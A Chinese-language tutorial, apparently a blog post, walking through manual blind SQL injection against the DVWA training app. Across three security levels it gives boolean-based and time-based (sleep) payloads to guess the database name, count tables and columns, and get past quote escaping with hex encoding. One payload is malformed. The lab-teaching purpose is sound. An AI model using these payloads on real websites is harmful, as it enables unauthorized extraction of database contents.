sql盲注:顧名思義,就是盲人注入,沒有頁面報錯信息可以分析了,那麼該怎麼呢?盲注又有哪些測試的方法呢?
盲注的測試類型:
- boolean注入
- 時間注入
我們接下來就來介紹如何去測試sql注入盲注,我們還是用dvwa來舉例子
Low級別
我們看到low級別同樣是輸入框,我們輸入了正常的1,返回結果爲:數據庫中存在用戶ID。
我們輸入惡意字符,同樣也返回結果爲:數據庫中缺少用戶ID。
我們輸入1'#返回正常
我們可以構造如下語句來判斷注入的類型
1' and 1=1 #
返回結果存在
1' and 1=2#
返回結果不存在
由此我們可以判斷出該輸入框存在盲注,且注入類型爲字符型注入
那麼接下來我們可以構造sql語句來猜解數據庫等
我們首先判斷數據庫長度,可以構造如下poc,使用length函數來判斷字符串長度
1' and length(database())>5 #
返回結果
1' and length(database())>3#
由此我們可以看出當前鏈接數據庫名的長度大於3小於5,長度爲4
那麼我們繼續判斷數據庫名稱的字符組成元素,此時利用substr()函數從給定的字符串中,從指定位置開始截取指定長度的字符串,分離出數據庫名稱的每個位置的元素,並分別將其轉換爲ASCII碼,與對應的ASCII碼值比較大小,找到比值相同時的字符,然後各個擊破。
mysql數據庫中的字符串函數 substr()函數和hibernate的substr()參數都一樣,但含義有所不同。
用法:
substr(string string,num start,num length);
string爲字符串;
start爲起始位置;
length爲長度。
區別:
mysql中的start是從1開始的,而hibernate中的start是從0開始的。
在構造語句比較之前,先查詢以下字符的ASCII碼的十進制數值作爲參考:
字符 | ASCII碼-10進制 | 字符 | ASCII碼-10進制 | |
---|---|---|---|---|
a | 97 | ==> | z | 122 |
A | 65 | ==> | Z | 90 |
0 | 48 | ==> | 9 | 57 |
_ | 95 | @ | 64 |
以上常規可能用到的字符的ASCII碼取值範圍:[48,122]
當然也可以擴大範圍,在ASCII碼所有字符的取值範圍中篩選:[0,127]
1' and ascii(substr(database(),1,1))>88 # | exists |
猜解表的個數
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #
猜解第一個表的表名長度
1' and length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#
猜解第一個表的表名的第一個字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
我們可以依此類推,將剩下的字符一一爆破
Medium級別
判斷是否存在注入,注入的類型
雖然前端界面上只能通過下拉列表選擇數字,提交後查詢顯示的都是"exists",但是抓包工具修改數據重放之後是可以在工具中觀察到響應數據有"MISSING"和"exists"兩種返回結果的,如下:
由此我們可以判斷出該級別存在注入,且注入類型爲數字型注入,接下來我們猜解當前連接數據庫長度,我們會用到sleep()這個函數以及if判斷
對於 if(判斷條件,sleep(n),1) 函數而言,若判斷條件爲真,則執行sleep(n)函數,達到在正常響應時間的基礎上再延遲響應時間n秒的效果;若判斷條件爲假,則返回設置的1(真),此時不會執行sleep(n)函數
我們構造如下語句:
輸入 | 輸出(Response Time) |
---|---|
1 and if(length(database())=4,sleep(2),1) # | 2031 ms |
1 and if(length(database())=5,sleep(2),1) # | 26 ms |
1 and if(length(database())>10,sleep(2),1) # | 30 ms |
以上根據響應時間的差異,可知當前連接數據庫名稱的字符長度=4,此時確實執行了sleep(2)函數,使得響應時間比正常響應延遲2s(2000ms)
輸入 | 輸出 |
---|---|
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # | 2049 ms |
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # | 19 ms |
可以看到,當前連接數據庫名稱的第一個字符的ascii碼爲100,對應字母爲d
後續過程與low級別類似,不過遇到了對特殊字符進行轉義處理的時候,我們可以轉換程16進制的形式繞過限制,從而提交到數據庫進行查詢.
如:猜解表中的字段名時,猜解字段名的長度(對字段值users
進行16進制轉換爲0x7573657273
)
Low級別 | Medium級別 |
---|---|
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # | 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 # --------------------------------------------------------- 1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) # |
High級別
high級別通過代碼分析,我們發現並沒有做任何過濾,只是將查詢輸入頁面和結果顯示頁面分開了,照樣可以抓包繞過,並且代碼只做了限制顯示的結果數,沒有做過濾。繞過和暴力破解的方式和low級別類似,對於LIMIT 1的限制輸出記錄數目,可以利用#
註釋其限制;服務端可能會隨機執行sleep()函數,做執行,則延遲的時間是隨機在2-4s,這樣會對正常的基於時間延遲的盲注測試造成干擾。因此可以考慮用基於布爾的盲注進行測試:
借鑑的優秀文章
DVWA全等級SQL Injection(Blind)盲注--手工測試過程解析